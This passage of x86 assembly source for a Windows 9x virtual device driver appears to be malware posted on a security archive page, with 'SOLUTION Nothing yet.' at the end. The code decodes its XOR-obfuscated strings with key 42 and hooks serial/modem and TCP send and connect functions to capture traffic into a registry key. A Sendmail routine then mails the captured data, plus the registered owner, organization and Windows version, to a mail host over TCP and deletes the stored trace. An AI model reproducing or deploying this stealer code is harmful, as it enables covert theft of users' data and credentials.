    ; Output: edi - points to the next byte after the written string            ;
    ;                                                                           ;
    ; Preserves all registers, except edi                                       ;
    ;---------------------------------------------------------------------------;

    BeginProc DWordToStr

            pusha

            mov cx, 28

    Digit_Loop_Start:
            mov eax, ebx

            shr eax, cl
            and al, 0Fh

            add al, 48                      ; "0"
            cmp al, 57                      ; "9"
            jbe Digit_ok

            add al, 7                       ; convert 10 to A, 11 to B, etc

    Digit_ok:
            stosb

            sub cl, 4
            jge Digit_Loop_Start

            xor al, al
            stosb

            popa

            add edi, 8

            ret

    EndProc DWordToStr

    ;---------------------------------------------------------------------------;
    ; Sendmail procedure                                                        ;
    ;---------------------------------------------------------------------------;

    BeginProc Sendmail

            ; ZMH

            mov Disable, 1                  ; We are busy

            ; Check if there is something to mail

            xor eax, eax
            push offset32 dwTemp_1          ; lpcbValue
            push eax                        ; lpValue
            push eax                        ; lpSubKey
            push hOurKey                    ; hKey

            VMMCall _RegQueryValue
            add esp, 10h

            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jnz Abort_Mail_Alloc

            cmp dwTemp_1, 1                 ; There is no value there
            jbe Abort_Mail_Alloc

            ; Allocate mail buffer and create the message

            VMMCall _HeapAllocate, <MAIL_BUFFER_LENGTH, 0>
            or eax, eax                     ; zero if error
            jz Abort_Mail_Alloc
            mov [pMailBuffer], eax          ; address of memory block
            mov [MailPointer], eax

            mov esi, offset32 MailData_1
            mov edi, eax
            mov ecx, cbMailData_1
            add MailPointer, ecx
            rep movsb

            push offset32 dwTemp_1          ; phKey
            push offset32 CurrentVersionSubKey ; SubKey
            push HKEY_LOCAL_MACHINE

            VMMCall _RegOpenKey             ; Open the key
            add esp, 0Ch

            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jnz Abort_Mail

            mov ebx, offset32 sRegisteredOwner
            call QueryRegValue

            mov ebx, offset32 sRegisteredOrganization
            call QueryRegValue

            mov ebx, offset32 sSystemRoot
            call QueryRegValue

            mov ebx, offset32 sVersionNumber
            call QueryRegValue

            push dwTemp_1                   ; hKey
            VMMCall _RegCloseKey            ; Close the key
            add esp, 04h

            ; Start enumerating the values

            mov dwTemp_1, 0

    Enum_Loop:
            mov BufferSize, MAX_BUFFER_LENGTH
            push offset32 BufferSize        ; lpcbData
            push pBuffer                    ; lpbData
            push 0                          ; lpdwType
            push 0                          ; lpdwReserved
            mov eax, pMailBuffer
            add eax, MAIL_BUFFER_LENGTH
            mov ebx, MailPointer
            sub eax, ebx                    ; Calculate the free space in buffer
            mov dwTemp_2, eax
            push offset32 dwTemp_2          ; lpcchValue
            push MailPointer                ; lpszValue
            push dwTemp_1                   ; iValue
            push hOurKey                    ; hKey

            VMMCall _RegEnumValue           ; Get the value of the key
            add esp, 20h

            inc dwTemp_1                    ; dwTemp_1 = iValue + 1

            cmp eax, ERROR_NO_MORE_ITEMS
            je Enum_End

            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jne Abort_Mail

            mov esi, pBuffer

            mov edi, MailPointer
            add edi, dwTemp_2

            mov ecx, BufferSize
            rep movsb

            mov eax, 0A0D0A0Dh              ; Add two line breaks
            stosd

            mov MailPointer, edi

            jmp Enum_Loop

    Enum_End:
            mov esi, offset32 MailData_2
            mov edi, MailPointer
            mov ecx, cbMailData_2
            mov eax, ecx
            add eax, MailPointer
            sub eax, pMailBuffer
            inc eax
            mov SendDataLength, eax
            rep movsb

            ; Open address object

            push offset32 TdiAddressOption
            push 6                                  ; Protocol (TCP)
            push offset32 TransportAddress
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi]                    ; TdiOpenAddress
            add esp, 10h

            cmp eax, 0
            jnz Abort_Mail

            ; Save the address handle for future use

            mov eax, dword ptr Request
            mov AddressHandle, eax

            ; Open connection object

            push offset32 Context                   ; Context
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+8]                  ; TdiOpenConnection
            add esp, 8

            cmp eax, 0
            jnz Abort_Mail

            ; Save the connection context for future use

            mov eax, dword ptr Request
            mov ConnectionContext, eax

            ; Associate the connection context with the address handle

            push AddressHandle
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+10h]                ; TdiAssociateAddress
            add esp, 8h

            cmp eax, 0
            jnz Abort_Mail

            ; Connect to the mail host

            push offset32 RequestAddr
            push offset32 RequestAddr
            push 0                                  ; TO
            mov RequestContext, offset32 Send_1
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+18h]                ; TdiConnect
            add esp, 10h

            cmp eax, 0FFh                           ; If pending -> end proc
            ret

    Call_TDI_CallBack:
            push 0                                  ; ByteCount
            push eax                                ; FinalStatus
            push offset32 RequestContext            ; pContext
            call TdiMail_Callback
            add esp, 0Ch
            ret

    Abort_Mail:
            VMMCall _HeapFree, <pMailBuffer, 0>

    Abort_Mail_Alloc:
            xor eax, eax
            mov Disable, al
            mov TracedHandle, eax
            ret

    EndProc SendMail

    ;---------------------------------------------------------------------------;
    ; TdiMail_Callback                                                          ;
    ;---------------------------------------------------------------------------;

    BeginProc       TdiMail_Callback

            push ebp
            mov ebp, esp

            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack

    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> pContext
    ; ebp+0Ch -> FinalStatus
    ; ebp+10h -> ByteCount

            mov eax, [ebp+08h]              ; RequestContext

            or eax, eax
            je TdiMail_Callback_End

            mov ebx, [ebp+0Ch]              ; If error -> close connection
            or ebx, ebx
            jne Close_Connection

            jmp dword ptr eax               ; RequestContext points to code

    Send_1:
            mov RequestContext, offset32 Disconnect ; Pointer to next code

            mov eax, ConnectionContext      ; Get the ConnectionContext
            mov Request, eax

            push offset32 NDISBuffer
            push SendDataLength             ; Length
            push 0                          ; No flags
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+2Ch]        ; TdiSend
            add esp, 10h

            cmp eax, 0FFh                   ; If pending -> wait
            je TdiMail_Callback_End

            or eax, eax                     ; If error -> Close connection
            jnz Close_Connection

            jmp dword ptr [RequestContext]  ; If ok -> jump to next code

    Disconnect:
            ; Delete the default value (send is done)

            xor eax, eax
            push eax                        ; cbData
            push offset32 Zero              ; lpszData
            push REG_SZ                     ; fdwType
            push eax                        ; lpSubKey
            push hOurKey

            VMMCall _RegSetValue
            add esp, 14h

            mov eax, ConnectionContext
            mov Request, eax

            mov RequestContext, offset32 Close_Connection ; Pointer to next code

            xor eax, eax
            push eax                        ; ReturnInfo
            push eax                        ; DiscConnInfo
            push eax                        ; Flags
            push eax                        ; TO
            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+1Ch]        ; TdiDisconnect
            add esp, 14h

            cmp eax, 0FFh                   ; If pending -> wait
            je TdiMail_Callback_End

    Close_Connection:
            VMMCall _HeapFree, <pMailBuffer, 0>

            xor ah, ah                      ; Undisable
            mov Disable, ah

            mov eax, AddressHandle
            mov Request, eax

            push offset32 Request
            mov esi, TdiDispatchTable
            call dword ptr [esi+04h]        ; TdiCloseAddress
            add esp, 4h

    TdiMail_Callback_End:
            popad
            popfd

            pop ebp
            ret

    EndProc         TdiMail_Callback

    ;---------------------------------------------------------------------------;
    ; QueryRegValue subroutine.                                                 ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; dwTemp_1                 x                                                ;
    ; pMailBuffer              x                                                ;
    ; MailPointer              x       x                                        ;
    ; dwTemp_2                         x                                        ;
    ;                                                                           ;
    ; Input: dwTemp_1 - opened key                                              ;
    ;        ebx      - lpszSubKey                                              ;
    ;                                                                           ;
    ; Returns: returns to Abort_Mail if there is an error                       ;
    ;---------------------------------------------------------------------------;

    BeginProc QueryRegValue

            mov eax, pMailBuffer            ; Calculate the free space in buffer
            add eax, MAIL_BUFFER_LENGTH-9
            sub eax, MailPointer
            mov dwTemp_2, eax
            push offset32 dwTemp_2          ; cbData
            push MailPointer                ; lpszData
            push REG_SZ                     ; fdwType
            push 0                          ; dwReserved
            push ebx                        ; lpszSubKey
            push dwTemp_1                   ; phKey

            VMMCall _RegQueryValueEx        ; Get the value of the key
            add esp, 18h

            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jne Abort_Query

            mov edi, pMailBuffer
            mov ecx, MAIL_BUFFER_LENGTH
            mov al, 0
            repnz scasb
            jnz Abort_Query

            dec edi
            mov eax, 0A0D0A0Dh              ; Add two line breaks
            stosd

            mov MailPointer, edi

            ret

    Abort_Query:
            pop eax                         ; Blah... Is approved by M$ as a
            push offset32 Abort_Mail        ; "good programming technique"? :-)

            ret

    EndProc QueryRegValue


    ;---------------------------------------------------------------------------;
    ; Control Proc                                                              ;
    ;---------------------------------------------------------------------------;

    BeginProc Control_Proc
            Control_Dispatch Device_Init, Do_Device_Init
            clc
            ret
    EndProc Control_Proc

    VxD_LOCKED_CODE_ENDS

    ;---------------------------------------------------------------------------;
    ; Initialization Code Segment                                               ;
    ;---------------------------------------------------------------------------;

    VxD_ICODE_SEG

    BeginProc Do_Device_Init

            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack

            mov edi, ASCIIStart
            mov ecx, ASCIILength

    Decode_Loop:                            ; Why 42...? :-)
            xor byte ptr [edi], 42
            inc edi
            loop Decode_Loop

            ; Allocate memory for the buffer

            VMMCall _HeapAllocate, <MAX_BUFFER_LENGTH, 0>
            or eax, eax             ; zero if error
            jz Abort
            mov [pBuffer], eax      ; address of memory block

            ; Hook VCOMM services

            GetVxDServiceOrdinal eax, _VCOMM_OpenComm
            mov esi, offset32 OpenComm_Hook
            VMMcall Hook_Device_Service
            jc Abort

            GetVxDServiceOrdinal eax, _VCOMM_WriteComm
            mov esi, offset32 WriteComm_Hook
            VMMcall Hook_Device_Service
            jc Abort

            GetVxDServiceOrdinal eax, _VCOMM_CloseComm
            mov esi, offset32 CloseComm_Hook
            VMMcall Hook_Device_Service
            jc Abort

            ; Make sure VTDI is present

            VxDcall VTDI_Get_Version
            jc Abort

            ; Get a pointer to the TCP dispatch table

            push offset32 TCPName
            VxDcall VTDI_Get_Info
            add esp, 4

            mov TdiDispatchTable, eax       ; Save the address of TdiDispatchTable

            ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend

            mov ebx, [eax+0Ch]
            mov TdiCloseConnection_PrevAddr, ebx
            mov [eax+0Ch], offset32 TdiCloseConnection_Hook

            mov ebx, [eax+18h]
            mov TdiConnect_PrevAddr, ebx
            mov [eax+18h], offset32 TdiConnect_Hook

            mov ebx, [eax+1Ch]
            mov TdiDisconnect_PrevAddr, ebx
            mov [eax+1Ch], offset32 TdiDisconnect_Hook

            mov ebx, [eax+2Ch]
            mov TdiSend_PrevAddr, ebx
            mov [eax+2Ch], offset32 TdiSend_Hook

            ; Create/Open our key

            push offset32 hOurKey           ; phKey
            push offset32 OurKey            ; SubKey
            push HKEY_LOCAL_MACHINE
            VMMCall _RegCreateKey           ; Create/open "our" key
            add esp, 0Ch                    ; Clean after VMMCall

            or eax, eax                     ; cmp eax, ERROR_SUCCESS
            jnz Abort

            jmp Device_Init_End

    Abort:
            mov Disable, 1                  ; Disable hook operation

    Device_Init_End:
            popad                           ; restore registers on stack
            popfd                           ; restore flags on stack

            ret

    EndProc Do_Device_Init

    VxD_ICODE_ENDS

            END

SOLUTION

    Nothing yet.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH